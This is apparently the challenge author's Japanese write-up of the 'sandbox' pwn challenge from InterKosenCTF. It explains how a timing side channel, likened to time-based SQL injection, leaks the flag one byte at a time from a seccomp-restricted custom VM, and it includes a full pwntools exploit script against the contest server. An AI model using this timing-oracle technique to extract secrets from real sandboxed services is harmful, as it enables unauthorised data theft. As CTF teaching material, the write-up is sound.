CTFするぞ

CTF以外のことも書くよ

【Pwn 300】sandbox - InterKosenCTF 作問writeup

はじめに

この記事ではInterKosenCTFで出題した問題の解説を書きます。 他の問題のwriteupについては下記リンクから参照してください。

ptr-yudai.hatenablog.com

概要

Description: The flag is written in /home/pwn/flag.
nc pwn.kosenctf.com 9400
File: sandbox.tar.gz

64-bit ELFとソースコードが渡されます。 introductionに続きセキュリティ機構はばっちり付けられています。

$ checksec sandbox
[*] '/home/ptr/Downloads/sandbox/sandbox'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

おまけにソースコードを見ると、seccompが付けられておりまともにシステムコールも使えません。

void sb_init(void)
{
  scmp_filter_ctx ctx;
  signal(SIGALRM, handler);
  alarm(5);
  ctx = seccomp_init(SCMP_ACT_KILL);
  if (!ctx) {
    seccomp_reset(ctx, 0LL);
    exit(1);
  }
  seccomp_arch_add(ctx, SCMP_ARCH_X86_64);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(munmap), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
  seccomp_load(ctx);
}

ここまで見てすぐに解くのをやめた方も多いと思います。 特につらいのはwriteのシステムコールが使えないことです。 出力できないのでアドレスリークはおろか、フラグを読み込んでも出力できません。 それは一旦置いておき、処理を追っていきます。

このプログラムは自作CPUっぽい命令を受け取り、ひたすら実行するサンドボックスです。 機械語、スタックともに0x1000の領域を持ち、レジスタはr1とr2で32ビットの値を格納できます。 他にもスタックポインタsp、プログラムカウンタpc、フラグレジスタzfがあります。 また、スタックはアドレスの低い方から高い方へ成長するので注意が必要です。 システムコールを呼び出す命令があり、exit, open, read, closeを使えます。 したがってフラグは読み込めるのですが、出力する手段がありません。 サンドボックス自体はガバガバなのである程度ならメモリの範囲を越えて読み書きできるのですが、セキュリティ機構が強すぎて手が出ません。 この辺りで、脆弱性を利用してもフラグ読めないじゃんと考えて別の手段を探してもらえたら解きやすいです。

解法

話が変わりますが、SQLでINSERT文などにSQLiがあってもSELECTとは違って結果が見れないです。 そんなときTime-Based SQL Injectionという攻撃が役に立ちます。 条件に応じてsleepなどの時間がかかる処理を発行し、情報を少しずつ読み出していくのです。 実は今回の問題にも同じ攻撃が適用できます。 フラグは読み込めるので、例えば1文字目と'A'を比較して一致すれば無限ループ、一致しなければ終了というようなコードを作れば処理時間を使ってフラグを1文字ずつ特定できます。 これを利用すれば次のようなコードでフラグを1文字ずつ特定できます。

from pwn import *
import string
table = string.printable[:-5]
context(arch="amd64", os="linux")

R1, R2 = 0, 1
SYS_EXIT, SYS_READ, SYS_OPEN, SYS_CLOSE = 0, 1, 2, 3

def make_instruction(ope, val):
    return chr((ope << 4) | (val >> 8)) + chr(val & 0xFF)

def push(r):
    return make_instruction(r & 1, 0)
def pop(r):
    return make_instruction(0b0010 | (r & 1), 0)
def mov(r, val):
    return make_instruction(0b0100 | (r & 1), val)
def add(val):
    return make_instruction(0b0110, val)
def sub(val):
    return make_instruction(0b0111, val)
def mov_sp():
    return make_instruction(0b1000, 0)
def get_sp(val):
    return make_instruction(0b1001, val)
def cmp():
    return make_instruction(0b1010, 0)
def jz(val):
    return make_instruction(0b1011, val)
def jnz(val):
    return make_instruction(0b1100, val)
def jmp(val):
    return make_instruction(0b1101, val)
def shl(val):
    return make_instruction(0b1110, val)
def syscall(val):
    return make_instruction(0b1111, val)

ofs = 0
flag = ""
while True:
    for byte in table:
        payload = ""
        payload += mov(R1, 0x67)
        payload += shl(8)
        payload += add(0x61)
        payload += shl(8)
        payload += add(0x6c)
        payload += shl(8)
        payload += add(0x66)
        payload += push(R1)
        payload += mov_sp()
        payload += sub(4)
        payload += syscall(SYS_OPEN)
        payload += mov(R2, 0x100)
        payload += syscall(SYS_READ)
        payload += get_sp(ofs)
        payload += mov(R2, ord(byte))
        payload += cmp()
        payload += jnz(len(payload) + 4)
        payload += jmp(len(payload))
        payload += syscall(SYS_EXIT)
        sock = remote("pwn.kosenctf.com", 9400)
        sock.send(payload)
        try:
            a = sock.recvline(timeout=2)
            print(a)
            flag += byte
            sock.close()
            print(flag)
            ofs += 1
            break
        except:
            sock.close()
    else:
        break
print(flag)

あとがき

pwnというよりはパズルっぽい問題になりました。 本当は何かしらの脆弱性でシェルコード実行できるけどseccompがあってつらいよーっていう問題にしたかったのですが考える時間がありませんでした。 問題チェックのときにすぐ方針を立てられてしまい、本当に300ptでいいのか不安でしたが、最終的には1チームのみ解答しており点数はちょうど良かったのかなーと思います。